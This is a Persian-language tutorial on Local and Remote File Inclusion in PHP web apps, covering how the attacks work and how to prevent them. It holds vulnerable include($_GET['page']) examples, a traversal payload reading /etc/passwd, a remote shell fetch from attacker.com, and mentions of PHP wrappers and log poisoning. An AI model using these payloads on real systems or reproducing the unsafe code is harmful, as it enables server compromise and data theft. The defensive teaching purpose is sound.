حمله File Inclusion در وبسایتها (LFI / RFI)
مقدمه
حمله File Inclusion یکی از آسیبپذیریهای مهم در برنامههای وب است که به مهاجم اجازه میدهد فایلهای دلخواه (محلی یا حتی از راه دور) را در برنامه اجرا یا بارگذاری کند. این ضعف معمولاً به دلیل اعتبارسنجی نادرست ورودیهای کاربر رخ میدهد.
در صورت موفقیت، این حمله میتواند منجر به اجرای کد مخرب، سرقت اطلاعات حساس یا حتی کنترل کامل سرور شود.
File Inclusion چیست؟
File Inclusion به حالتی گفته میشود که برنامه وب، نام یا مسیر فایل را از کاربر دریافت کرده و بدون بررسی کافی آن را در برنامه بارگذاری یا اجرا میکند.
این آسیبپذیری معمولاً در زبانهایی مانند PHP رایج است، اما در سایر زبانها نیز ممکن است رخ دهد.
انواع حمله File Inclusion
1. Local File Inclusion (LFI)
در این نوع حمله، مهاجم تلاش میکند فایلهای موجود روی سرور را اجرا یا مشاهده کند.
مثال:
include($_GET['page']);
اگر کاربر این مقدار را وارد کند:
?page=../../../../etc/passwd
ممکن است محتوای فایلهای حساس سیستم نمایش داده شود.
2. Remote File Inclusion (RFI)
در این حالت، مهاجم میتواند فایل مخرب را از یک سرور خارجی بارگذاری و اجرا کند.
مثال:
?page=http://attacker.com/shell.txt
اگر سرور تنظیمات ناامن داشته باشد، فایل از راه دور اجرا میشود.
نحوه عملکرد حمله
حمله File Inclusion معمولاً به این صورت انجام میشود:
- برنامه مسیر فایل را از ورودی کاربر دریافت میکند
- اعتبارسنجی مناسبی انجام نمیدهد
- مهاجم مسیر مخرب یا فایل خارجی را تزریق میکند
- سرور فایل را اجرا یا بارگذاری میکند
مثال آسیبپذیر در PHP
<?php
$page = $_GET['page'];
include($page);
?>
این کد به کاربر اجازه میدهد هر فایلی را درخواست کند.
تکنیکهای رایج مهاجم
1. Directory Traversal
مهاجم با استفاده از مسیرهای نسبی تلاش میکند به فایلهای حساس دسترسی پیدا کند:
../../../../etc/passwd
2. استفاده از Wrapperها در PHP
PHP دارای wrapperهایی است که در صورت عدم ایمنسازی میتوانند خطرناک باشند:
php://input
php://filter
data://
3. تزریق کد از طریق فایل لاگ (Log Poisoning)
مهاجم ممکن است ابتدا کد مخرب را در لاگ سرور تزریق کند و سپس آن را از طریق LFI اجرا کند.
پیامدهای حمله File Inclusion
در صورت موفقیت، مهاجم میتواند:
دسترسی به فایلهای حساس
-
/etc/passwd - فایلهای کانفیگ
- کلیدهای API
اجرای کد مخرب
در صورت ترکیب با تکنیکهای دیگر، امکان اجرای دستورات سیستم وجود دارد.
ارتقای دسترسی
در برخی شرایط میتواند منجر به کنترل کامل سرور شود.
تفاوت LFI و RFI
| ویژگی | LFI | RFI |
|---|---|---|
| منبع فایل | محلی | راه دور |
| شدت خطر | بالا | بسیار بالا |
| پیشنیاز | دسترسی به مسیر فایل | اجازه بارگذاری URL خارجی |
دلایل ایجاد آسیبپذیری
1. عدم اعتبارسنجی ورودی
مهمترین دلیل، استفاده مستقیم از ورودی کاربر در مسیر فایل است.
2. استفاده از include یا require بدون محدودیت
در PHP:
include($_GET['file']);
3. تنظیمات ناامن سرور
مثل فعال بودن allow_url_include در PHP
روشهای پیشگیری
1. استفاده از لیست سفید (Whitelist)
به جای پذیرش هر فایل:
$pages = [
'home' => 'home.php',
'about' => 'about.php'
];
include($pages[$_GET['page']]);
2. جلوگیری از مسیرهای نسبی
حذف کاراکترهای خطرناک:
-
../ -
..\
3. غیرفعال کردن RFI
در PHP:
allow_url_include = Off
4. اعتبارسنجی ورودی
فقط مقادیر مشخص و معتبر اجازه داده شوند.
5. محدود کردن دسترسی فایلها
تنظیم صحیح مجوزها (Permissions) در سرور.
6. عدم استفاده مستقیم از ورودی در include
یکی از مهمترین اصول امنیتی:
❌ اشتباه:
include($_GET['page']);
✅ درست:
include('pages/home.php');
جمعبندی
حمله File Inclusion یکی از آسیبپذیریهای خطرناک در وب است که به دلیل ضعف در اعتبارسنجی ورودیها ایجاد میشود. این حمله میتواند منجر به افشای اطلاعات حساس یا اجرای کدهای مخرب شود. تفاوت مهم آن در دو نوع LFI و RFI است که هرکدام سطح خطر متفاوتی دارند.
برای جلوگیری از این حمله، استفاده از لیست سفید، محدودسازی ورودیها، غیرفعال کردن قابلیتهای ناامن و عدم استفاده مستقیم از ورودی کاربر در مسیر فایلها ضروری است.